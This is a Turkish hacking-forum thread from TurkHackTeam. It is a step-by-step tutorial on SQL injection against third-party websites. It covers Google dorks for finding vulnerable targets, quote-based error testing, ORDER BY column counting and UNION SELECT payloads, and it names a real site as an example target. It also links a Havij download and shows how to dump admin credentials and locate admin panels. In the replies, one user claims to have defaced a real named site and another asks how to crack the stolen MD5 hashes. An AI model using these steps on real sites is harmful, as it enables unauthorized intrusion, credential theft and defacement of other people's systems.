SQL İnjection Geniş Anlatım

DarkDesert

Kıdemli Üye
17 Eki 2011
2,043
1
TurkHackTeam

Selamun Aleyküm Kardeşlerim...şimdi sizlere SQL nedir? SQL injection nedir? nasıl kullanılır? manuel ve programlı anlatım birlikte adım adım anlatacagım.


SQL Nedir ?



# SQL (Structured Query Language) veritabanından bilgi çekme silme vb. gibi işlemler yapabilen bir dildir. Bulunduğumuz zamanda çoğu web sitelerinin alt yapılarında bu veritabanı vardır.
# SQL en yaygın olan güvenlik açığıdır ve çok tehlikelidir.
# SQL hazır scriptler (vbulletin,vb.) gibi yüksek güvenlik testlerinden geçirilmez.
# Bu web siteleri vertibanı ile anlaşmaları için SQL’e ihtiyaç duyarlar.


SQL İnjection Nedir?


# SQL İnjection bir SQL açıklı siteye uygulanan İnjection türüdür.


SQL İnjection Olan Sayfayı Nasıl Bulabilirim ?


# SQL açığı olan bir sayfa bulabilmemiz için bize bir dork lazım bu dorku THT forumdan ya da Google amcadan bulabiliriz. Örnek bir Dork: inurl:galery.php?id= inurl:index.php?id=.



SQL İnjection’u Hangi Sayfalarada Kullanabilirim ?


# SQL İnjection’u kullanabilmamiz için sayfa url’sinde bize

id=değer", "search=değer" gibi değişken değerleri alabilen ifadeler lazımdır.



SQL İnjection’u Nasıl Kullanabilirim ?


# Evet Google’dan dorkumuzu arattık sayfalar çıktı başlıyoruz sayfaları gezmeye gezdiğimiz sayfalarda

# URL’nin sonunda php?id=45 veya daha farklı bir sayı yazar bu sayıların sonuna tırnak işareti (’) koyuyoruz.

# Örnek: www.örneksite.com/php?id=120http://www.fanatec.de/html/index.php?id=220 site bu sitede id değerimiz gördüğünüz gibi 220 id değerinin sonuna ’ işaretimizi koyuyoruz ve Enter’lıyoruz.

www.örneksite.com/php?id=120'

Sitede bir hata verirse :

Warning: include(../inc/content220\\\\\\\\\\\\\\\\’.inc.php) [function.include]: failed to open stream: No such file or directory in /homepages/6/d27097856/htdocs/www.fanatec.de/html/index.php on line 162

Warning: include() [function.include]: Failed opening ’../inc/content220\\\\\\\\\\\\\\\\’.inc.php’ for inclusion (include_path=’.:/usr/lib/php5’) in /homepages/6/d27097856/htdocs/www.fanatec.de/html/index.php on line 162

Bunun gibi bir hata alırsak sitede bir SQL açığı vardır.



SQL Açığını Nasıl Kullanabiliriz ?


# SQL açığını bulduktan sonra sıra geldi İnjection yapamaya İnjection’u 2 türlü yapabiliriz.


1. Havij ve benzeri programlar ile

2. Manuel olarak

Manuel SQl inj Havijin yaptığı elle yapılanıdır.



Manuel olarak SQL İnjection Nasıl Yapılır ?


# Evet sitemizde kolon sayısını bulacağız bunun için ordey+by+ veya group+by+ komutunu kullanacağız

www.örneksite.com/php?id=120+order+by+100 bu yüz sayısını misal veriyorum.

Bu sayıyı gittikçe azaltıcağız.Taa ki hatamız gidene kadar.

www.örneksite.com/php?id=120+order+by+95

www.örneksite.com/php?id=120+order+by+40

www.örneksite.com/php?id=120+order+by+7

evet diyelimki 7 de hatamız gitti yani kolon sayımız 7’dir.

Şimdi Kolonları ekrana yansıtmaya geldi sır****olon sayımız 7’idi.

Bunun için union+select+... kodumuzu kullanacağız.


www.örneksite.com/php?id=120+union+select+0,1,2,3,4,5,6

yazıyoruz.Kolon sayımız 7 olduğu için 7’ye kadar yazıyoruz.

Evet diyelimki 1 ve 5 kolonları yansıdı ekrana.

Not: Unutmadan bir not’da geçelim eğer kolonlar ekrana yansımaz ise URL’mizin sonuna -- ifadesini eklemeliyiz.





Havij Yolu ile SQL İnjection Nasıl Yapılır ?
indirmek için link : https://dosya.co/x8m4bqjwbxdu/Havih_1.15.rar.html


# Evet SQL açıklı sitemizi bulduk. >>>Fanatec.com sitemiz buydu bu şekilde Havij’e yapıştırıyoruz.


Analyze diyoruz Analyze ettikden sonra Tables diyoruz



Tables dedikten sonra Get Tables diyi kolonları çekiyoruz.

Çektikten sonra admin_pass’ı seçip Get Columns diyoruz




Admin_pass ı açtıktan sonra username ve password seçeneğine tıklayıp Get data diyoruz ve username şifre elimizde



Admin panelini bulmak istiyorsak Find Admin’e tıklayıp URL’mizi yapıştırdıktan sonra Start diyoruz ve Admin paneli elimizde.png



Eğitimin Sonuna Geldik Arkadaşlar Sürc-ü Lisan Ettiysek Affola.
 
Moderatör tarafında düzenlendi:

macirhan

Katılımcı Üye
14 Kas 2011
973
0
Üstadım,


buna da vakit bulman beni şaşırttı :)

Bana sözün vardı asp/aspx sql inj anlatacaksın diye , hala unutmadım.

Yeni başlayan arkadaşlar için güzel bir çalışma, bir de admin panelini bypass etme olayı var. Onu da bu çalışmaya ilave edebilirsin (samurainin yönetemi bu, umarım kızmaz sırlarını ifşa ettiğimiz için:))

Ellerine sağlık güzel bir yazı.
 
Moderatör tarafında düzenlendi:

DarkDesert

Kıdemli Üye
17 Eki 2011
2,043
1
TurkHackTeam
Üstadım,


buna da vakit bulman beni şaşırttı :)

Bana sözün vardı asp/aspx sql inj anlatacaksın diye , hala unutmadım.

Yeni başlayan arkadaşlar için güzel bir çalışma, bir de admin panelini bypass etme olayı var. Onu da bu çalışmaya ilave edebilirsin (samurainin yönetemi bu, umarım kızmaz sırlarını ifşa ettiğimiz için:))

Ellerine sağlık güzel bir yazı.


çizgili halinimi özledin sen bakym :) ortak aspx i hala unutmamana sasırdım hatırlatman iyi oldu aklımda deildi :) en kısa sürede ayarlycam saglam bi döküman sana :)
 
Son düzenleme:

DarkDesert

Kıdemli Üye
17 Eki 2011
2,043
1
TurkHackTeam
@HackeRLorD29
her sitede acılacak dıye bır kagide yok kardesım elle yaptıgınız zmanda göremeyebılırsınız. onlarında da blind sql olur and 1=1 uyguladıgında aynı sayfa and 1=0 uyguladıgın zman farklı yada boş bir sayfa açılıyorsa blind sql vardır. havıjdede bazen bunun gıbı sıteler de tables sekmesı acılmaz.
 

Ssc06

Katılımcı Üye
17 Ocak 2012
362
0
Ankara
Dostum havij indirip kurdum yanlız açınca exeyi ekrana gelip kapanıyor program ? diğer Loadere Tıkladıgımda İse NetFrame Work Hatası Alıyorum. Onunla İlgisi Olabilir mi ? Yeniliyim mi Netframeyi
 

DarkDesert

Kıdemli Üye
17 Eki 2011
2,043
1
TurkHackTeam

Ssc06

Katılımcı Üye
17 Ocak 2012
362
0
Ankara
Teşekkürler Yeniledim NetFrame'yi Oldu :) Bide Bişey Daha Sorucam. kolon Sayısı İçin Bi Kombinasyon varmı. Yani ordey+by+ veya group+by+ Komutunu kullanarak
http://www.fanatec.de/html/index.php?id=220+order+by+99
Yani 100den geriye Dogru deniycez mi ? Yani 100+ Bir Rakamda Olabilir mi Bu KolonSayısı
? 100den geriye denemek bile çok yorucu :)Şuan Bi Site Üzerinde Çalışıyorum 70lerdeyım hata daha gitmedi :d Havijle Daha Rahat Bulabilirmiyiz

http://granitedesign.ca/index.php Hacked By Ssc :) Resimde Gösterdiğin Siteyede Bağlanıp Bi isim Yapıştırdım :)
 
Son düzenleme:

dogu98

Yeni üye
18 Ağu 2009
22
0
çok teşekkür ederim ama md5 i nasıl kırıcaz buluyorum ama md5 kabul etmiyor(havijdeki bulamadı) ve ya admin paneleni bulamayıyorum
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.